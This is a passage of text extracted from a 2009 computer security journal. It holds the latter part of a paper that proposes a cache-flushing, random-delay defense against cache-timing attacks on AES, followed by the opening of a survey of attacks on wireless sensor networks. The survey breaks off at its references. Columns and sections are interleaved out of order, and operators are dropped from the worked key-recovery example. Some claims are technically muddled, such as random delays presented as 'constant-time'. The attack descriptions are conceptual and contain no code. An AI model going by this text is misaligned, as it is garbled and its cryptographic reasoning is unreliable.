execute. Although, the cache-timing attack is well-known theoretically, but it was only until April 2005 that a stout researcher named Daniel Bernstein [2, 4] published that the weakness of Rijndael can reveal timing information that eventually can be utilized to crack the encryption key. In his paper, Daniel announced a successful cache timing attack by exploiting the timing characteristics of the table lookups. Here is the simplest conceivable timing attack on Rijndael. AES software implementations like Rijndael that uses look-up tables to perform internal operations of the cipher, such as Sboxes, are the one that are most vulnerable to this attack. For example, the variableindex array lookup T0[k[0] n[0]] near the beginning of the AES computation. A typical hacker might think that the time for this array lookup depends on the array index and the time for the whole AES computation is well correlated with the time for this array lookup. As a result, the AES timings leak information about k[0] n[0] and it can calculate the exact value of k[0] from the distribution of AES timings as a function of n[0]. Similar comments apply to k[1] n[1], k[2] n[2], etc. Assume, that the hacker watches the time taken by the victim to handle many n's and totals the AES times for each possible n[13], and observes that the overall AES time is maximum when n[13] is, say, 147. Suppose that the hacker also observes, by carrying out experiments with known keys k on a computer with the same AES software and the same CPU, that the overall AES time is maximum when k[13] n[13] is, say, 8. The hacker concludes that the victim's key k[13] is 147 8 = 155. This implies that a hacker can easily attack a variable time AES algorithm and can crack the encrypted data and eventually key [2]. Since in Rijndael algorithm all look up tables are stored in the cache, by putting another thread or some different way, attacker can easily get the encrypted data from the cache. Fig.1 shows that AES implementation in
Figure 5. Open SSL AES timings for 128 keys and 128 inputs on a Pentium M processor
112
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol.4, No. August, 2009
IV.
during the encryption or decryption process, it would make life more difficult for the spy process, when it tries to collect the data for sampling purposes. In addition, no data in the cache implies that there is no specific place or point that refers to the encryption process as shown in Fig. 6. It should be noted in Fig. 6 that the graph maintains a uniform pattern during the entire encryption/decryption process. Due to this uniformity, an attacker would face difficulty in tracking the exact time frame when encryption/decryption took place. This is possible by flushing the CPU cache at irregular intervals. Flushing the cache ensures that an attacker will not get enough insight into the data pattern during the encryption process by tapping the cache data. In order to increase the efficiency of this approach, one can increase the frequency of cache flushing. This would be a customizable parameter in the proposed DCF implementation. By further analyzing the DCF algorithm, it would lead to more “cache-misses” than “cache-hits”. The “cache-misses” would eventually be recovered by looking up into the RAM for data. The “cache-misses” is the performance penalty we pay with this approach. But with the computing capability we have today with the high-end dual core CPUs, this refetching of data elements from the RAM, can be dealt with. It should be noted that complete cache disabling is also an option [3], but in such scenarios the spy process might as well start tapping the RAM for encrypted data. Flushing the cache would rather confuse the spy process and make life difficult for attackers to derive a fixed pattern of the timing information and encrypted data samples. Another feature intended in DCF algorithm is to
PROPOSED DYNAMIC CACHE FLUSHING (DCF) ALGORITHM
Numerous attempts have been made to address the timing attack loophole in AES. After a deep analysis of the logical steps involved in the Rijndael algorithm, we propose a novel technique to improvise the existing Rijndael algorithm. Our proposed algorithm follows variable-time AES algorithm by replacing it with a constant-time (but not high-speed) AES algorithm known as DCF (Dynamic Cache Flushing). Here, constant means totally independent of the AES key and input. The resulting DCF algorithm would be capable enough to stand strong against the timing attacks. In order to determine the constant-time, first we need to collect timings and then look for input-dependent patterns. For example, we can repeatedly measure the time taken by AES for once (key; input) pair, convert the distribution of timings into a small block of colors, and then repeat the same color pattern for many keys and inputs. A constant-time AES algorithm would have the same block of colors for every key and input pair, as shown in Fig 2. Fig 2 is a 128 x 128 array of blocks. Here, X axis indicates the key for each row of blocks and Y axis shows the input for each column of blocks. The pattern of colors in a block reflects the distribution of timings for that (Key; Input) pair. Here, for all (Key, Input) pairs, the color patterns remains the same, due to the constant time. Hence, attacker cannot easily figure out at which point of time the encryption of key and data took place. DCF algorithm generates keys at a constant rate on today's popular dual-core CPUs. A. Description of the Proposed DCF Algorithm The DCF algorithm is the improved version of Rijndael. In other words, the basic encryption/decryption process would remain unchanged. However, there are few additional steps injected into the Rijndael algorithm that would make it resilient to cachetiming attack. DCF algorithm – as the name rightly suggests, flushes cache while the encryption of data is in progress. In other words, the data that is being copied by the program into the CPU cache during the encryption/decryption process is removed at periodic intervals. The major advantage of doing this is that, during a cache-timing attack, the spy process tries to tap the data stored in look up tables in the CPU cache. Since each instruction takes time to encrypt or decrypt the data, attacker can break the data by just taking difference of collected large body of timing data from the target machine for the plaintext byte and collected large body of reference timing data for each instruction. Fig. 5 shows that encryption/decryption takes place at random time and it can be easily determined by the spy process. If data in the CPU cache is flushed dynamically
Figure 6. AES timings, using Constant-Time AES algorithm, for 128 keys and 128 inputs
113
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol.4, No. August, 2009
implementing a memory access for a relevant set of data, one can read all the data from the look-up table. In addition, one could use an alternative description of the cipher which replaces the table lookups by an equivalent series of the logical operations. For AES, this is particularly ideal since the lookup tables have concise algebraic descriptions, but performance is degraded by over an order of magnitude [3]. Flushing cache, random delays, and making data access independent of underlying data being processed, would make sense only if the DCF program is forced to run on a single thread. Single thread would also ensure that less data is being exposed to the spy process at any given point of time.
implement random delays within the execution cycles during the encryption/decryption process. As a matter of fact that if bunch of the instructions from the encryption program repeats more than once, the execution time for those instructions remain constant all the time. By continuously monitoring the CPU instruction cycles, attacker can determine the time taken to execute a step in encryption algorithm. Attacker might be able to capture the entire process timeline and data patterns being encrypted or decrypted. In DCF, additional delays could be introduced while the algorithm steps are in progress. This would change the encryption/decryption timeline and make the algorithm more unpredictable. As a result, attacker will not be able to guess the timing pattern created by the encryption/decryption steps. Every time when the proposed DCF algorithm generates a unique timing pattern for encrypting the set of data, it makes things more difficult for an attacker who uses a key parameter (i.e., the time taken to encrypt a set of data) in his predictable brute-force approach for cracking the key. The delays in DCF could be made more unpredictable by randomizing the numeric values that defines the amount of delay caused. A good sturdy randomizer could achieve a fairly unpredictable pattern of Fig. 5 Open SSL AES timings for 128 keys and 128 inputs on a Pentium M processor and Fig. 6 AES timings using Constant-Time AES algorithm, for 128 keys and 128 input delays. The cache timing attack exploits the effect of memory access on the cache, and would thus be completely lessened by an implementation that does not perform any table lookups. Instead of avoiding table lookup, one could employ them by ensuring that the pattern of accesses to the memory is completely independent of the data passing through the algorithm. In its easiest form,
B. Mathematical Model As discussed above, Rijndael is vulnerable to timing attacks due to its use of table lookups. In the current analysis, we develop a mathematical model for the attacks when table lookups are being performed during the execution of a Rijndael algorithm. We use our inventive method of flushing the cache during the execution of the table lookups and prove that when the table lookups are performed in constant-time, the attacker is unable to apply his/her spy process to recognize the encrypted data. Fig. 7 and 8 are plotted for constant-time DCF algorithm using a tool called “CacheIn” - a toolset for comprehensive Cache Inspection from Springer. Counter measures like flushing cache are implemented in the DCF algorithm using C++. Fig. 7 shows the average time taken to execute the ith instruction and xi0 indicates the part of the instruction cycle. Here, X axis shows the instruction cycle and Y
Figure 8. Graph showing time taken to collect data from cache during each CPU instruction.
Figure 7. Graph showing time taken to execute the instruction
114
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol.4, No. August, 2009
building the set of round tables and table lookups into its data structure which helps in processing the data in buffer. A timer is initialized just before Rijndael starts encrypting the data in the buffer. The time should be initialized in nanoseconds. During encryption, Rijndael puts the key and data together in the round operation. During various steps in the encryption process, the random delays are introduced using Sleep(X) function to ensure that the repeated set of instructions does not portray the same execution timeline. Here, the amount of time, the process needs to be suspended ‘X’, is directly proportional to the total amount of time ‘T’ taken to process the chunk of data of size ‘S’. If the timer becomes zero, flush or remove the data from the
Figure 9. Graph showing the difference between the timing data and reference data
axis shows the time taken to execute that particular instruction. Fig. 8 shows the average time taken to fetch the input data Pi from the cache for that particular instruction xi0. Here, X axis shows the data in cache memory and Y axis shows the time taken to fetch that data. Due to the constant time approach with the cache flushing, Fig. 7 and Fig. 8 demonstrate that an average time reaches to a constant value. Fig. 9 is the combination of the timing graphs shown in Fig. 7 and 8 for fetching the data and the time taken to execute the instruction to fetch that data. If we take the difference of maximum values of an average time for fetching the data and the time to execute an instruction to fetch that data, we will get very negligible time difference, say ki. For any time difference between the timing data and the reference data, ki remains constant and too small due to cache flushing. This implies that, with the constant time information, it is not possible to determine the exact time taken to encrypt/decrypt the data. The performance of the DCF algorithm is found to be little bit slower than the Rijndael algorithm. The performance penalty is due to cache flushing that provokes the processor to search the missing data in the RAM or in a secondary disk. On the other hand, the security provided against attackers by the proposed DCF algorithm is pretty impressive. V.
SIMULATION RESULTS
Here is a brief description of DCF during execution of Rijndael algorithm. Assume that there is a huge data file that’s being encrypted using the DCF algorithm. The flowchart in Fig. 10 would portray a logical flow of events. A huge file is read into a user-defined variable, “buffer”. The password provided by the user is typically stored as the encryption key. Rijndael initializes itself by
Figure 10. Dynamic Cache Flushing Algorithm Flowchart
115
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol.4, No. August, 2009
cache by using the cacheflush() function. The timer would be initialized with a random time that would make the encryption process time more unpredictable for the hacker. Reinitialize the timer with a random time and perform the encryption with random delay until all the data is processed (encrypted). VI.
Authors Biography Jalpa Bani is a M.S. student of Computer Science at University of Bridgeport. She completed her under graduation in Computer Engineering from Saurashtra University, Gujarat, India. She has a deep urge to know more in the fields of Artificial Intelligence, Computer Networks, Database Management System and Mobile Computing. During her under graduation, she researched on Cyborg - an active area in applied Robotics. She continued her research quest by concentrating on security vulnerabilities in network and wireless communication protocols; 1024-bit+ encryption/decryption of data; and enhancing performance of mobile database query engine. In April 2008, she published an innovative paper - "A New Dynamic Cache Flushing (DCF) Algorithm for Preventing Cache Timing Attack" at IEEE Wireless Telecommunication Symposium (IEEE WTS 2008), Pomona, California. The paper presented a unique algorithm to prevent cache timing attack on Rijndael Algorithm. She also published a paper called "Adapting AntiPlagiarism Tool into Coursework in Engineering Program," at American Society for Engineering Education (ASEE) at Austin, TX in June 2009. She achieved a “Best Student Poster” Honorable Mention in ASEE NE Conference at Bridgeport, CT in April 2009. She was honored with "School of Engineering Academic Achievement Award” at University of Bridgeport in May 2009.
CONCLUSION
We have seen that Rijndael is vulnerable to cache timing attack. Beyond AES, such attacks are potentially applicable to any implementation of a cryptographic algorithm that performs data-dependent memory accesses. The main weakness detected in the Rijndael algorithm is the heavy use of table lookups which dominate the running time and the table lookup indices. The countermeasures described in this paper represent a significant step towards developing a stable, attackproof AES algorithm. The DCF algorithm simulates a scenario wherein the table lookups are accessed in constant-time rather than in variable-time. This would disable any attacker from writing a spy program to brute force the key and data out of the cache data stored during the execution of the DCF algorithm. In the implementation of the DCF algorithm, cache is flushed periodically during encryption or decryption process. This would disable the attacker from tapping the cache for data. On the downside, there is a performance hit on the encryption time, but on a brighter note, the DCF algorithm stands strong against the cache timing attack.
Syed S. Rizvi is a Ph.D. student of Computer Science and Engineering at University of Bridgeport. He received a B.S. in Computer Engineering from Sir Syed University of Engineering and Technology and an M.S. in Computer Engineering from Old Dominion University in 2001 and 2005, respectively. In the past, he has done research on bioinformatics projects where he investigated the use of Linux based cluster search engines for finding the desired proteins in input and outputs sequences from multiple databases. For last three year, his research focused primarily on the modeling and simulation of wide range parallel/distributed systems and the web based training applications. Syed Rizvi is the author of 68 scholarly publications in various areas. His current research focuses on the design, implementation and comparisons of algorithms in the areas of multiuser communications, multipath signals detection, multi-access interference estimation, computational complexity and combinatorial optimization of multiuser receivers, peer-to-peer networking, network security, and reconfigurable coprocessor and FPGA based architectures.
REFERENCES [1] [2] [3]
[4]
[5]
[6]
[7] [8]
[9]
J. Daemen and V. Rijmen, “AES Proposal: Rijndael, AES Algorithm” Submission, September 3, 1999. Daniel J. Bernstein, “Cache-timing attacks on AES”, The University of Illinois at Chicago, IL 60607-7045, 2005. D.A. Osvik, A. Shamir and E. Tromer. “Cache attacks and Countermeasures: the Case of AES”. In Cryptology ePrint Archive, Report 2005/271, 2005. Joseph Bonneau and Ilya Mironov, “Cache-Collision Timing Attacks Against AES” , (Extended Version) revised 2005-1120. Svelto, F.; Charbon, E.; Wilton, S.J.E, “Introduction to the special issue on the IEEE 2002 custom integrated circuits conference”, University of Pavia. James Nechvatal, Elaine Barker, Lawrence Bassham, William Burr, Morris Dworkin, James Foti, Edward Roback, “Report on the Development of the Advanced Encryption Standard (AES)”, October 2, 2000. Colin Percival, “Cache Missing for Fun and Profit”, May 13, 2005. Bruce Schneier, Doug Whiting (2000-04-07). "A Performance Comparison of the Five AES Finalists" (PDF/PostScript). Retrieved on 2006-08-13. Niels Ferguson, Richard Schroeppel, Doug Whiting (2001). "A simple algebraic representation of Rijndael" (PDF/PostScript). Proceedings of Selected Areas in Cryptography, 2001, Lecture Notes in Computer Science: pp. 103–111, Springer-Verlag. Retrieved on 2006-10-06.
116
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
A Survey of Attacks, Security Mechanisms and Challenges in Wireless Sensor Networks Dr. G. Padmavathi,
Mrs. D. Shanmugapriya,
Prof and Head, Dept. of Computer Science, Avinashilingam University for Women, Coimbatore, India, [email protected]
Lecturer, Dept. of Information Technology, Avinashilingam University for Women, Coimbatore, India, [email protected] necessary to protect the location of casualties from unauthorized disclosure
Abstract—Wireless Sensor networks (WSN) is an emerging technology and have great potential to be employed in critical situations like battlefields and commercial applications such as building, traffic surveillance, habitat monitoring and smart homes and many more scenarios. One of the major challenges wireless sensor networks face today is security. While the deployment of sensor nodes in an unattended environment makes the networks vulnerable to a variety of potential attacks, the inherent power and memory limitations of sensor nodes makes conventional security solutions unfeasible. The sensing technology combined with processing power and wireless communication makes it profitable for being exploited in great quantity in future. The wireless communication technology also acquires various types of security threats. This paper discusses a wide variety of attacks in WSN and their classification mechanisms and different securities available to handle them including the challenges faced. Keywords-Wireless Sensor Network; Security Security Attacks; Defensive mechanisms; Challenges
I.
Public Safety: In applications where chemical, biological or other environmental threats are monitored, it is vital that the availability of the network is never threatened. Attacks causing false alarms may lead to panic responses or even worse total disregard for the signals.
•
Home Healthcare: In such applications, privacy protection is essential. Only authorized users should be able to query and monitor the network.
The major contribution of this paper includes classification of security attacks, security mechanisms and challenges in Wireless Sensor Networks. Section 2 gives the detailed information about the security goals in Wireless Sensor Networks. Security attacks and their classification are discussed in section 3. Section 4 discusses about the various security mechanisms. Major challenges faced are given in Section 5 followed by the conclusion section.
Goal;
INTRODUCTION II.
Basically, sensor networks are application dependent. Sensor networks are primarily designed for real-time collection and analysis of low level data in hostile environments. For this reason they are well suited to a substantial amount of monitoring and surveillance applications. Popular wireless sensor network applications include wildlife monitoring, bushfire response, military command, intelligent communications, industrial quality control, observation of critical infrastructures, smart buildings, distributed robotics, traffic monitoring, examining human heart rates etc. Majority of the sensor network are deployed in hostile environments with active intelligent opposition. Hence security is a crucial issue. One obvious example is battlefield applications where there is a pressing need for secrecy of location and resistance to subversion and destruction of the network. Less obvious but just as important security dependent applications include: •
•
SECURITY GOALS FOR SENSOR NETWORKS
As the sensor networks can also operate in an adhoc manner the security goals cover both those of the traditional networks and goals suited to the unique constraints of adhoc sensor networks. The security goals are classified as primary and secondary [5]. The primary goals are known as standard security goals such as Confidentiality, Integrity, Authentication and Availability (CIAA). The secondary goals are Data Freshness, SelfOrganization, Time Synchronization and Secure Localization. The primary goals are: A. Data Confidentiality Confidentiality is the ability to conceal messages from a passive attacker so that any message communicated via the sensor network remains confidential. This is the most important issue in network security. A sensor node should not reveal its data to the neighbors.
Disasters: In many disaster scenarios, especially those induced by terrorist activities, it may be
117
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
B. Data Authentication Authentication ensures the reliability of the message by identifying its origin. Attacks in sensor networks do not just involve the alteration of packets; adversaries can also inject additional false packets [14]. Data authentication verifies the identity of the senders and receivers. Data authentication is achieved through symmetric or asymmetric mechanisms where sending and receiving nodes share secret keys. Due to the wireless nature of the media and the unattended nature of sensor networks, it is extremely challenging to ensure authentication.
F.
C. Data Integrity Data integrity in sensor networks is needed to ensure the reliability of the data and refers to the ability to confirm that a message has not been tampered with, altered or changed. Even if the network has confidentiality measures, there is still a possibility that the data integrity has been compromised by alterations. The integrity of the network will be in trouble when:
G. Time Synchronization Most sensor network applications rely on some form of time synchronization. Furthermore, sensors may wish to compute the end-to-end delay of a packet as it travels between two pairwise sensors. A more collaborative sensor network may require group synchronization [4] for tracking applications.
•
A malicious node present in the network injects false data.
•
Unstable conditions due to wireless channel cause damage or loss of data.[4]
Self-Organization A wireless sensor network is a typically an ad hoc network, which requires every sensor node be independent and flexible enough to be self-organizing and self-healing according to different situations. There is no fixed infrastructure available for the purpose of network management in a sensor network. This inherent feature brings a great challenge to wireless sensor network security. If self-organization is lacking in a sensor network, the damage resulting from an attack or even the risky environment may be devastating.
H. Secure Localization Often, the utility of a sensor network will rely on its ability to accurately and automatically locate each sensor in the network. A sensor network designed to locate faults will need accurate location information in order to pinpoint the location of a fault. Unfortunately, an attacker can easily manipulate nonsecured location information by reporting false signal strengths, replaying signals.
D. Data Availability Availability determines whether a node has the ability to use the resources and whether the network is available for the messages to communicate. However, failure of the base station or cluster leader’s availability will eventually threaten the entire sensor network. Thus availability is of primary importance for maintaining an operational network.
This Section has discussed about the security goals that are widely available for wireless sensor networks and the next section explains about the attacks that commonly occur on wireless sensor networks. III. ATTACKS ON SENSOR NETWORKS Wireless Sensor networks are vulnerable to security attacks due to the broadcast nature of the transmission medium. Furthermore, wireless sensor networks have an additional vulnerability because nodes are often placed in a hostile or dangerous environment where they are not physically protected. Basically attacks are classified as active attacks and passive attacks. Figure1 shows the classification of attacks under general categories and Figure 2 shows the attacks classification on WSN.
The Secondary goals are: E. Data Freshness Even if confidentiality and data integrity are assured, there is a need to ensure the freshness of each message. Informally, data freshness [4] suggests that the data is recent, and it ensures that no old messages have been replayed. To solve this problem a nonce, or another timerelated counter, can be added into the packet to ensure data freshness.
2
118
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
Figure 1. General Classification of Security Attacks
Figure 2. Classification of Security Attacks on WSN
3
119
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
1) Routing Attacks in Sensor Networks The attacks which act on the network layer are called routing attacks. The following are the attacks that happen while routing the messages.
A. Passive Attacks The monitoring and listening of the communication channel by unauthorized attackers are known as passive attack. The Attacks against privacy is passive in nature.
a) Spoofed, altered and replayed routing information • An unprotected ad hoc routing is vulnerable to these types of attacks, as every node acts as a router, and can therefore directly affect routing information.
1) Attacks against Privacy The main privacy problem is not that sensor networks enable the collection of information. In fact, much information from sensor networks could probably be collected through direct site surveillance. Rather, sensor networks intensify the privacy problem because they make large volumes of information easily available through remote access. Hence, adversaries need not be physically present to maintain surveillance. They can gather information at low-risk in anonymous manner. Some of the more common attacks[8] against sensor privacy are: •
Monitor and Eavesdropping: This is the most common attack to privacy. By snooping to the data, the adversary could easily discover the communication contents. When the traffic conveys the control information about the sensor network configuration, which contains potentially more detailed information than accessible through the location server, the eavesdropping can act effectively against the privacy protection.
•
Traffic Analysis: Even when the messages transferred are encrypted, it still leaves a high possibility analysis of the communication patterns. Sensor activities can potentially reveal enough information to enable an adversary to cause malicious harm to the sensor network.
•
Camouflage Adversaries: One can insert their node or compromise the nodes to hide in the sensor network. After that these nodes can copy as a normal node to attract the packets, then misroute the packets, conducting the privacy analysis.
Create routing loops
•
Extend or shorten service routes
•
Generate false error messages
•
Increase end-to-end latency [3]
b) Selective Forwarding A malicious node can selectively drop only certain packets. Especially effective if combined with an attack that gathers much traffic via the node. In sensor networks it is assumed that nodes faithfully forward received messages. But some compromised node might refuse to forward packets, however neighbors might start using another route.[3] c) Sinkhole Attack Attracting traffic to a specific node in called sinkhole attack. In this attack, the adversary’s goal is to attract nearly all the traffic from a particular area through a compromised node. Sinkhole attacks typically work by making a compromised node look especially attractive to surrounding nodes. [3] d) Sybil Attacks A single node duplicates itself and presented in the multiple locations. The Sybil attack targets fault tolerant schemes such as distributed storage, multipath routing and topology maintenance. In a Sybil attack, a single node presents multiple identities to other nodes in the network. Authentication and encryption techniques can prevent an outsider to launch a Sybil attack on the sensor network.[3]
B. Active Attacks The unauthorized attackers monitors, listens to and modifies the data stream in the communication channel are known as active attack. The following attacks are active in nature. 1. 2. 3. 4. 5. 6. 7. 8. 9. 10.
•
e) Wormholes Attacks In the wormhole attack, an attacker records packets (or bits) at one location in the network, tunnels them to another location, and retransmits them into the network.[3]
Routing Attacks in Sensor Networks Denial of Service Attacks Node Subversion Node Malfunction Node Outage Physical Attacks Message Corruption False Node Node Replication Attacks Passive Information Gathering
f) HELLO flood attacks An attacker sends or replays a routing protocol’s HELLO packets from one node to another with more energy. This attack uses HELLO packets as a weapon to convince the sensors in WSN. In this type of attack an attacker with a high radio transmission range and processing power sends HELLO packets to a number of sensor nodes that are isolated in a large area within a
4
120
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
WSN. The sensors are thus influenced that the adversary is their neighbor. As a result, while sending the information to the base station, the victim nodes try to go through the attacker as they know that it is their neighbor and are ultimately spoofed by the attacker.[3]
7) Message Corruption Any modification of the content of a message by an attacker compromises its integrity.[9] 8) False Node A false node involves the addition of a node by an adversary and causes the injection of malicious data. An intruder might add a node to the system that feeds false data or prevents the passage of true data. Insertion of malicious node is one of the most dangerous attacks that can occur. Malicious code injected in the network could spread to all nodes, potentially destroying the whole network, or even worse, taking over the network on behalf of an adversary.[9]
2) Denial of Service Denial of Service (DoS) is produced by the unintentional failure of nodes or malicious action. DoS attack is meant not only for the adversary’s attempt to subvert, disrupt, or destroy a network, but also for any event that diminishes a network’s capability to provide a service. In wireless sensor networks, several types of DoS attacks in different layers might be performed. At physical layer the DoS attacks could be jamming and tampering, at link layer, collision, exhaustion and unfairness, at network layer, neglect and greed, homing, misdirection, black holes and at transport layer this attack could be performed by malicious flooding and de-synchronization. The mechanisms to prevent DoS attacks include payment for network resources, pushback, strong authentication and identification of traffic.[2]
9) Node Replication Attacks Conceptually, a node replication attack is quite simple; an attacker seeks to add a node to an existing sensor network by copying the nodeID of an existing sensor node. A node replicated in this approach can severely disrupt a sensor network’s performance. Packets can be corrupted or even misrouted. This can result in a disconnected network, false sensor readings, etc. If an attacker can gain physical access to the entire network he can copy cryptographic keys to the replicated sensor nodes. By inserting the replicated nodes at specific network points, the attacker could easily manipulate a specific segment of the network, perhaps by disconnecting it altogether.[1]
3) Node Subversion Capture of a node may reveal its information including disclosure of cryptographic keys and thus compromise the whole sensor network. A particular sensor might be captured, and information (key) stored on it might be obtained by an adversary. [6]
10) Passive Information Gathering An adversary with powerful resources can collect information from the sensor networks if it is not encrypted. An intruder with an appropriately powerful receiver and well-designed antenna can easily pick off the data stream. Interception of the messages containing the physical locations of sensor nodes allows an attacker to locate the nodes and destroy them. Besides the locations of sensor nodes, an adversary can observe the application specific content of messages including message IDs, timestamps and other fields. To minimize the threats of passive information gathering, strong encryption techniques needs to be used.[8]
4) Node Malfunction A malfunctioning node will generate inaccurate data that could expose the integrity of sensor network especially if it is a data-aggregating node such as a cluster leader [6]. 5) Node Outage Node outage is the situation that occurs when a node stops its function. In the case where a cluster leader stops functioning, the sensor network protocols should be robust enough to mitigate the effects of node outages by providing an alternate route [6]. 6) Physical Attacks Sensor networks typically operate in hostile outdoor environments. In such environments, the small form factor of the sensors, coupled with the unattended and distributed nature of their deployment make them highly susceptible to physical attacks, i.e., threats due to physical node destructions. Unlike many other attacks mentioned above, physical attacks destroy sensors permanently, so the losses are irreversible. For instance, attackers can extract cryptographic secrets, tamper with the associated circuitry, modify programming in the sensors, or replace them with malicious sensors under the control of the attacker.
This section explained about the attacks and their classification that widely happens on wireless sensor networks. The next section discusses about the security mechanisms that are used to handle the attacks. IV. SECURITY MECHANISM The security mechanisms are actually used to detect, prevent and recover from the security attacks. A wide variety of security schemes can be invented to counter malicious attacks and these can be categorized as highlevel and low-level. Figure 3 shows the order of security mechanisms.
5
121
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
Figure3: Security mechanisms
wide shared key simplifies key setup and supports passive participation and local broadcast, but intermediate nodes might eavesdrop or alter messages. The earliest sensor networks are likely to use link layer cryptography, because this approach provides the greatest ease of deployment among currently available network cryptographic approaches.[6]
A. Low-Level Mechanism Low-level security primitives for securing sensor networks includes, 1. 2. 3. 4. 5. 6.
Key establishment and trust setup Secrecy and authentication Privacy Robustness to communication denial of service Secure routing Resilience to node capture 1) Key establishment and trust setup The primary requirement of setting up the sensor network is the establishment of cryptographic keys. Generally the sensor devices have limited computational power and the public key cryptographic primitives are too expensive to follow. Key-establishment techniques need to scale to networks with hundreds or thousands of nodes. In addition, the communication patterns of sensor networks differ from traditional networks; sensor nodes may need to set up keys with their neighbors and with data aggregation nodes. The disadvantage of this approach is that attackers who compromised sufficiently and many nodes could also reconstruct the complete key pool and break the scheme.[1]
3) Privacy Like other traditional networks, the sensor networks have also force privacy concerns. Initially the sensor networks are deployed for legitimate purpose might subsequently be used in unanticipated ways. Providing awareness of the presence of sensor nodes and data acquisition is particularly important. [1] 4) Robustness to communication denial of service An adversary attempts to disrupt the network’s operation by broadcasting a high-energy signal. If the transmission is powerful enough, the entire system’s communication could be jammed. More sophisticated attacks are also possible; the adversary might inhibit communication by violating the 802.11 medium access control (MAC) protocol by, say, transmitting while a neighbor is also transmitting or by continuously requesting channel access with a request-tosend signal.[1]
2) Secrecy and authentication. Most of the sensor network applications require protection against eavesdropping, injection, and modification of packets. Cryptography is the standard defense. Remarkable system trade-offs arise when incorporating cryptography into sensor networks. For point-to-point communication[12], end-to-end cryptography achieves a high level of security but requires that keys be set up among all end points and be incompatible with passive participation and local broadcast. Link-layer cryptography with a network
5) Secure routing Routing and data forwarding is a crucial service for enabling communication in sensor networks. Unfortunately, current routing protocols suffer from many security vulnerabilities. For example, an attacker might launch denialof-service attacks on the routing protocol, preventing communication. The simplest attacks involve injecting malicious routing information into the network, resulting in routing inconsistencies. Simple authentication might guard
6
122
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
against injection attacks, but some routing protocols are susceptible to replay by the attacker of legitimate routing messages. [6]
V. CHALLENGES OF SENSOR NETWORKS The nature of large, ad-hoc, wireless sensor networks presents significant challenges in designing security schemes. A wireless sensor network is a special network which has many constraint compared to a traditional computer network.
6) Resilience to node capture One of the most challenging issues in sensor networks is resiliency against node capture attacks. In most applications, sensor nodes are likely to be placed in locations easily accessible to attackers. Such exposure raises the possibility that an attacker might capture sensor nodes, extract cryptographic secrets, modify their programming, or replace them with malicious nodes under the control of the attacker. Tamper-resistant packaging may be one defense, but it’s expensive, since current technology does not provide a high level of security. Algorithmic solutions to the problem of node capture are preferable.[1]
A. Wireless Medium The wireless medium is inherently less secure because its broadcast nature makes eavesdropping simple. Any transmission can easily be intercepted, altered, or replayed by an adversary. The wireless medium allows an attacker to easily intercept valid packets and easily inject malicious ones. Although this problem is not unique to sensor networks, traditional solutions must be adapted to efficiently execute on sensor networks. [7]
B. High-Level Mechanism High-level security mechanisms for securing sensor networks, includes secure group management, intrusion detection, and secure data aggregation.
B. Ad-Hoc Deployment The ad-hoc nature of sensor networks means no structure can be statically defined. The network topology is always subject to changes due to node failure, addition, or mobility. Nodes may be deployed by airdrop, so nothing is known of the topology prior to deployment. Since nodes may fail or be replaced the network must support self-configuration. Security schemes must be able to operate within this dynamic environment.
1) Secure group management Each and every node in a wireless sensor network is limited in its computing and communication capabilities. However, interesting in-network data aggregation and analysis can be performed by groups of nodes. For example, a group of nodes might be responsible for jointly tracking a vehicle through the network. The actual nodes comprising the group may change continuously and quickly. Many other key services in wireless sensor networks are also performed by groups. Consequently, secure protocols for group management are required, securely admitting new group members and supporting secure group communication. The outcome of the group key computation is normally transmitted to a base station. The output must be authenticated to ensure it comes from a valid group. [1]
C. Hostile Environment The next challenging factor is the hostile environment in which sensor nodes function. Motes face the possibility of destruction or capture by attackers. Since nodes may be in a hostile environment, attackers can easily gain physical access to the devices. Attackers may capture a node, physically disassemble it, and extract from it valuable information (e.g. cryptographic keys). The highly hostile environment represents a serious challenge for security researchers.
2) Intrusion detection Wireless sensor networks are susceptible to many forms of intrusion. Wireless sensor networks require a solution that is fully distributed and inexpensive in terms of communication, energy, and memory requirements. The use of secure groups may be a promising approach for decentralized intrusion detection.[1]
D. Resource Scarcity The extreme resource limitations of sensor devices pose considerable challenges to resource-hungry security mechanisms. The hardware constraints necessitate extremely efficient security algorithms in terms of bandwidth, computational complexity, and memory. This is no trivial task. Energy is the most precious resource for sensor networks. Communication is especially expensive in terms of power. Clearly, security mechanisms must give special effort to be communication efficient in order to be energy efficient. [5]
3) Secure data aggregation One advantage of a wireless sensor network is the finegrain sensing that large and dense sets of nodes can provide. The sensed values must be aggregated to avoid overwhelming amounts of traffic back to the base station. For example, the system may average the temperature of a geographic region, combine sensor values to compute the location and velocity of a moving object, or aggregate data to avoid false alarms in real-world event detection. Depending on the architecture of the wireless sensor network, aggregation may take place in many places in the network. All aggregation locations must be secured.[6]
E. Immense Scale The proposed scale of sensor networks poses a significant challenge for security mechanisms. Simply networking tens to hundreds of thousands of nodes has proven to be a substantial task. Providing security over such a network is equally challenging. Security mechanisms must be scalable to very large networks while maintaining high computation and communication efficiency.
7
123
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
survey will hopefully motivate future researchers to come up with smarter and more robust security mechanisms and make their network safer.
F. Unreliable Communication Certainly, unreliable communication is another threat to sensor security. The security of the network relies heavily on a defined protocol, which in turn depends on communication.[5] •
•
•
REFERENCES [1]
Unreliable Transfer: Normally the packet-based routing of the sensor network is connectionless and thus inherently unreliable.
[2]
Conflicts: Even if the channel is reliable, the communication may still be unreliable. This is due to the broadcast nature of the wireless sensor network.
[3]
